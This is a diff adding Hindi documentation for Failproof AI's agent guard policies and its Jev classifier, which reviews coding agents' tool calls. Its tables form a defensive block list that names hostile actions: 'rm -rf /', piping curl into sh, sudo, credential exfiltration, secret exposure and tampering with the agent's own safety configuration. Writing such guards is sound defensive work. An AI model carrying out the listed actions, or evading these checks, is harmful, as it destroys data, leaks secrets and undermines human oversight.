+| `block-failproofai-commands` | कठोर | | `alwaysOn` स्व-सुरक्षा। कभी समीक्षा योग्य नहीं। |
+| `block-rm-rf` | समीक्षा योग्य | `destructive-deletion` | पथ-गहराई ह्यूरिस्टिक `rm -rf node_modules` को गलत मानता है; Jev पूछता है कि क्या नष्ट किया जा सकता है पुनः उत्पादक है। `rm -rf /` दोनों जांचों को सच रखता है। |
+| `block-sudo` | कठोर | | विशेषाधिकार के साथ। |
+| `block-curl-pipe-sh` | कठोर | | इंटरनेट से डाउनलोड किए गए कोड को चलाता है। |
+| `block-push-master` | कठोर | | सीधे सुरक्षित शाखा में पुश करता है। |
+| `block-work-on-main` | कठोर | | `commit-on-protected-branch` बिल्कुल इसी चिंता को कवर करता है लेकिन निर्देश-मोड है, इसलिए यह कभी इनकार का उत्तर नहीं दे सकता, और कोई अन्य जांच इसे कवर नहीं करती। |
+| `block-force-push` | समीक्षा योग्य | `git-history-rewrite` | Jev की जांच मैचर का एक सुपरसेट है और `--force-with-lease` गिना है; जो स्वीकार करता है वह अपनी स्वयं की शाखा को जबरदस्ती पुश करना है। |
+| `block-secrets-write` | समीक्षा योग्य | `secret-exposure` | पथ मेल ऐंकर नहीं किया जाता है, इसलिए `src/auth/credentials.ts` पकड़ा जाता है; Jev पूछता है कि क्या वास्तविक कुंजी सामग्री लिखी जा रही है। |
+| `block-kubectl` | समीक्षा योग्य | `production-infra-change` | पूरी CLI को इनकार करता है, पढ़ने-केवल उप-आदेश भी; Jev पूछता है कि क्या कॉल परिवर्तन करती है और क्या लक्ष्य उत्पादन है। |
+| `block-terraform` | समीक्षा योग्य | `production-infra-change` | समान: `terraform plan` और `validate` को स्वीकार करता है। |
+| `block-aws-cli` | समीक्षा योग्य | `production-infra-change` | समान: `aws s3 ls`, `aws sts get-caller-identity` को स्वीकार करता है। |
+| `block-gcloud` | समीक्षा योग्य | `production-infra-change` | समान: `gcloud auth list`, `gcloud config list` को स्वीकार करता है। |
+| `block-az-cli` | समीक्षा योग्य | `production-infra-change` | समान: `az account show` को स्वीकार करता है। |
+| `block-helm` | समीक्षा योग्य | `production-infra-change` | समान: `helm list`, `helm status` को स्वीकार करता है। |
+| `block-gh-pipeline` | कठोर | | पाइपलाइनों, विलय और गुप्त परिवर्तनों को ट्रिगर करता है। |
+| `warn-git-stash-drop` | कठोर | | कोई सिमेंटिक जांच स्टैश किए गए काम को त्यागने को कवर नहीं करती। |
+| `warn-git-clean` | कठोर | | `destructive-deletion` चिंता को कवर करता है लेकिन प्रदर्शन करने में असमर्थ है: `git clean` कोई पथ नाम नहीं देता, इसलिए इसकी `irreplaceable` जांच पर आंकने के लिए कुछ नहीं है और कम उत्तर देता है, और साक्ष्य नीति की जांचों पर न्यूनतम है। एक जांच जो पूछी जाती है और आग नहीं करती फैसले को स्वीकार करती है, इसलिए यहाँ जोड़ना नीति को बंद कर देता है। |
+| `warn-all-files-staged` | कठोर | | कोई सिमेंटिक जांच यह कवर नहीं करती कि एक व्यापक `git add` क्या उठाता है। |
+| `warn-schema-alteration` | कठोर | | `database-destruction` डेटा को ड्रॉप करना कवर करता है, स्कीमा को बदलना नहीं। |
+| `warn-package-publish` | कठोर | | प्रकाशन अपरिवर्तनीय है और कोई सिमेंटिक जांच इसे कवर नहीं करती। |
+| `prefer-package-manager` | कठोर | | एक टीम सम्मेलन, सुरक्षा निर्णय नहीं। |
+| `warn-large-file-write` | कठोर | | एक आकार थ्रेशहोल्ड, निर्णय नहीं जो Jev बना सके। |
+| `warn-background-process` | कठोर | | कोई सिमेंटिक जांच अलग-अलग प्रक्रियाओं को कवर नहीं करती। |
+| `warn-repeated-tool-calls` | कठोर | | कॉलों को गिना है; Jev नहीं गिन सकता। |
+| `sanitize-jwt` | कठोर | | टूल आउटपुट को संशोधित करता है; टूल-कॉल गेट नहीं। |
+| `sanitize-api-keys` | कठोर | | टूल आउटपुट को संशोधित करता है; टूल-कॉल गेट नहीं। |
+| `sanitize-connection-strings` | कठोर | | टूल आउटपुट को संशोधित करता है; टूल-कॉल गेट नहीं। |
+| `sanitize-private-key-content` | कठोर | | टूल आउटपुट को संशोधित करता है; टूल-कॉल गेट नहीं। |
+| `sanitize-bearer-tokens` | कठोर | | टूल आउटपुट को संशोधित करता है; टूल-कॉल गेट नहीं। |
+| `require-commit-before-stop` | कठोर | | सत्र-समापन गेट, टूल-कॉल गेट नहीं। |
+| `require-push-before-stop` | कठोर | | सत्र-समापन गेट, टूल-कॉल गेट नहीं। |
+| `require-pr-before-stop` | कठोर | | सत्र-समापन गेट, टूल-कॉल गेट नहीं। |
+| `require-no-conflicts-before-stop` | कठोर | | सत्र-समापन गेट, टूल-कॉल गेट नहीं। |
+| `require-ci-green-before-stop` | कठोर | | सत्र-समापन गेट, टूल-कॉल गेट नहीं। |
+
+## सिमेंटिक नीति नाम
+
+ये वह जांचें हैं जो `FailproofAI/jev-policies` घोषित करता है, और मान जो `reviewedBy` स्वीकार करता है एक बार यह स्थापित हो जाता है। Failproof AI स्वयं उनमें से कोई भी नहीं भेजता: बिना उस पैक के (या इन नामों को घोषित करने वाले किसी अन्य के), कोई नीति उन्हें नाम देते हुए समीक्षा योग्य नहीं है। प्रत्येक एक जांच है जो Jev इसके सामने होने वाली टूल कॉल के बारे में उत्तर देता है। **मोड** वह है जो एक जांच उत्तर दे सकती है: एक `deny` जांच मजबूत साक्ष्य पर ब्लॉक करती है, जबकि एक `instruct` जांच केवल कभी चेतावनी देती है। या तो नीति के इनकार को खड़ा रखता है जब यह आग करती है और उपयोगकर्ता ने कॉल के लिए नहीं कहा। **उपयोगकर्ता ओवरराइड कर सकते हैं** कहता है कि क्या मानव का अपना स्पष्ट अनुरोध इसे स्वीकार करता है।
+
+Jev बिल्कुल [Jev जांचों](/hi/policies/publish-a-pack#jev-checks-in-a-pack) पूछता है जो स्थापित पैक घोषित करते हैं, और वे नाम हैं जो `reviewedBy` स्वीकार करता है। एक नाम जो दो पैक अलग-अलग घोषित करते हैं किसी के लिए सम्मानित नहीं है। इन सोलह नामों में से एक एक पैक द्वारा FailproofAI रिपोजिटरी से स्थापित नहीं होता है, उस पैक में अनदेखा किया जाता है: इसका संस्करण कभी नहीं पूछा जाता है और FailproofAI के अपने से प्रतिस्पर्धा नहीं करता है, इसलिए एक तीसरी-पक्ष पैक न तो मुख्य पैक की नीतियों को स्वीकार करने वाली जांच बन सकती है और न ही इन जांचों में से एक को बंद कर सकती है। एक अपठनीय पैक सूची, या एक पैक जिसकी हर जांच अनुपयोगी है, Jev को पूछने के लिए कुछ नहीं छोड़ता है।
+
+| नाम | मोड | उपयोगकर्ता ओवरराइड कर सकते हैं | Jev क्या जांचता है |
+| --- | --- | --- | --- |
+| `destructive-deletion` | इनकार | हाँ | स्थायी रूप से डेटा को हटाना जो पुनः उत्पन्न नहीं किया जा सकता। |
+| `production-infra-change` | इनकार | हाँ | लाइव अवसंरचना को बदलना। |
+| `git-history-rewrite` | इनकार | हाँ | साझा git इतिहास को फिर से लिखना या त्यागना। |
+| `push-to-protected-branch` | निर्देश | हाँ | सुरक्षित शाखा में सीधे पुश करना। |
+| `commit-on-protected-branch` | निर्देश | हाँ | सुरक्षित शाखा पर सीधे प्रतिबद्ध होना। |
+| `secret-exposure` | इनकार | हाँ | पढ़ना या क्रेडेंशियल की प्रतिलिपि बनाना। |
+| `credential-exfiltration` | इनकार | नहीं | मशीन के बाहर गुप्त या निजी फाइलें भेजना। |
+| `remote-code-execution` | इनकार | हाँ | इंटरनेट से डाउनलोड किए गए कोड को चलाना। |
+| `privilege-escalation` | इनकार | हाँ | उन्नत विशेषाधिकारों के साथ चलाना। |
+| `database-destruction` | इनकार | हाँ | डेटाबेस डेटा को नष्ट करना या बड़े पैमाने पर संशोधित करना। |
+| `read-outside-workspace` | निर्देश | हाँ | प्रकल्प के बाहर फाइलें पढ़ना। |
+| `agent-config-tampering` | इनकार | नहीं | एजेंट के अपने सुरक्षा कॉन्फ़िगरेशन को बदलना। |
+| `system-modification` | निर्देश | हाँ | प्रकल्प के बाहर सिस्टम को बदलना। |
+| `env-secrets-dump` | निर्देश | हाँ | पर्यावरण गुप्त को प्रिंट करना। |
+| `external-destructive-action` | इनकार | हाँ | बाहरी टूल के माध्यम से एक अपरिवर्तनीय क्रिया। |
+| `external-data-egress` | निर्देश | हाँ | निजी डेटा को बाहरी टूल में भेजना। |
\ No newline at end of file
diff --git a/docs/hi/policies/jev-byok.mdx b/docs/hi/policies/jev-byok.mdx
new file mode 100644
index 000000000..2eee532c8
--- /dev/null
+++ b/docs/hi/policies/jev-byok.mdx
@@ -0,0 +1,265 @@
+---
+title: "Jev मूल्यांकनकर्ता (अपनी कुंजी लाएं)"
+description: "TypeSafe के Jev क्लासिफायर को अपनी Jev एंडपॉइंट और कुंजी के माध्यम से एक कठोर regex फ़्लोर के ऊपर आपके एजेंट्स के टूल कॉल का न्याय करने दें।"
+icon: "key-round"
+---
+
+Regex नीतियां स्ट्रिंग से मेल खाती हैं। वे `rm -rf build/` को नहीं बता सकतीं जो आपने मांगा था बनाम `rm -rf ~` जो योजना में फिसल गया, इसलिए वे एक जगह बहुत अधिक ब्लॉक करती हैं और दूसरी जगह बहुत कम। **Jev**, TypeSafe का क्लासिफायर, कॉल को उसके विरुद्ध पढ़ता है जो आपने वास्तव में मांगा था और एक तेज़ अनुरोध में इसके बारे में कुछ हाँ/नहीं प्रश्नों का उत्तर देता है।
+
+अपनी Jev एंडपॉइंट और कुंजी कॉन्फ़िगर करके, Failproof AI प्रत्येक टूल कॉल के बारे में regex नीतियों के **अलावा** Jev से पूछता है, कभी उनके बजाय नहीं:
+
+- एक **कठोर** नीति का अस्वीकार अंतिम है। Jev इसे साफ़ नहीं कर सकता। प्रत्येक नीति कठोर है जब तक कि वह स्पष्ट रूप से समीक्षायोग्य के रूप में चिह्नित न हो और उन Jev जांचों का नाम न दे जो इसे कवर करती हैं, इसलिए एक कस्टम, पैक या क्लाउड नीति जो कुछ नहीं कहती वह कठोर है, और हमेशा-चालू आत्म-सुरक्षा गार्ड हमेशा कठोर है।
+- एक **समीक्षायोग्य** नीति का अस्वीकार साफ़ किया जा सकता है, लेकिन केवल तब जब Jev से उस सटीक समस्या के बारे में पूछा गया था जिसे नीति कवर करती है और "यहाँ कुछ नहीं" या "उपयोगकर्ता ने इसके लिए कहा" का उत्तर दिया हो। एक जांच जो समस्या को वास्तविक पाती है, जब उपयोगकर्ता ने कॉल के लिए नहीं कहा, तो अस्वीकार को बनाए रखता है — यहाँ तक कि जब इसका अपना निर्णय केवल एक चेतावनी हो, क्योंकि एक टूल कॉल से पहले एक चेतावनी एजेंट को नहीं रोकती। और जब वह जांच एक हो सकती है जो अस्वीकार कर सकती है (गुप्त जानकारी, साख निष्कासन, विनाशकारी हटाना, ...), तो इस कॉल पर कोई अस्वीकार साफ़ नहीं होता।
+- एक ब्लॉक अभी भी एक **चेतावनी** बन सकता है जब कॉल आपकी दी गई कार्य का एक चरण हो और आगे न जाए: Jev अपना अस्वीकार एक चेतावनी तक नरम करता है, और वह चेतावनी — नाम देती है कि कॉल के साथ वास्तव में क्या गलत है — नीति के ब्लॉक को प्रतिस्थापित करता है।
+- Jev अपने आप पर चेतावनी भी दे सकता है या अस्वीकार कर सकता है, किसी नुकसान के लिए जो regex वर्णित नहीं करता है।
+- यदि Jev उत्तर नहीं दे सकता (समय समाप्ति, दर सीमा, सर्वर त्रुटि, कोई क्रेडिट नहीं, एक अप्रत्याशित मॉडल संस्करण), तो वह कॉल regex परिणाम प्राप्त करता है, बिल्कुल Jev के बिना।
+- Jev कभी भी एक कॉल को आपकी नीतियों की तुलना में अधिक अनुमत नहीं बनाता है जब तक कि वह पूरी कॉल को नहीं पढ़ता और सटीक समस्या के बारे में नहीं पूछा जाता। कोई भी कम — एक कॉल बहुत बड़ी है पूरी तरह भेजने के लिए, एक संदेहास्पद इंजेक्शन — मंजूरियां वापस लेता है और हर अस्वीकार को बनाए रखता है।
+
+
+Jev कॉन्फ़िग के बिना कुछ नहीं बदलता: हुक regex नीतियों को बिल्कुल चलाते हैं जैसे वे हमेशा करते हैं। कॉन्फ़िग पूरा ऑप्ट-इन है।
+
+
+
+FailproofAI क्लाउड पर? आपको अपनी स्वयं की कुंजी की आवश्यकता नहीं है: एक `jev:evaluate` वाली कुंजी से जुड़ा एक मशीन आपके संगठन की योजना पर Jev का उपयोग कर सकता है। [FailproofAI क्लाउड के माध्यम से Jev](/hi/policies/jev-cloud) देखें।
+
+
+## एक प्रदाता चुनें
+
+Jev पाँच मार्गों के माध्यम से पहुँचा जा सकता है। उनमें से किसी के लिए एक कुंजी लाएं।
+
+| प्रदाता | `--provider` | एंडपॉइंट | डिफ़ॉल्ट मॉडल | नोट्स |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | सटीक संस्करण पिन। |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | अनुरोध केवल शून्य-डेटा-प्रतिधारण एंडपॉइंट्स पर रूट किए जाते हैं, किसी अन्य प्रदाता को फॉलबैक के बिना। एक दिनांकित संस्करण जैसे `typesafe/jev-1.13-20260917` की रिपोर्ट करता है। |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | केवल एक उपनाम द्वारा Jev का नाम लेता है, इसलिए उत्तर देने वाला संस्करण अनुत्यरीकृत के रूप में रिकॉर्ड किया जाता है। |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | `--account-id` की आवश्यकता है। HTTP 429 से पहले लगभग छः कॉल प्रति सेकंड प्रति कुंजी मापे गए थे। |
+| आपकी स्वयं की एंडपॉइंट | `custom` | `/systemone` | `jev-1.13.0` | कोई भी एंडपॉइंट जो TypeSafe के अनुरोध निकाय को स्वीकार करता है और रिपोर्ट करता है कि किस मॉडल ने उत्तर दिया। `https` केवल; साधारण `http://localhost` केवल छाया मोड में स्वीकार किया जाता है। |
+
+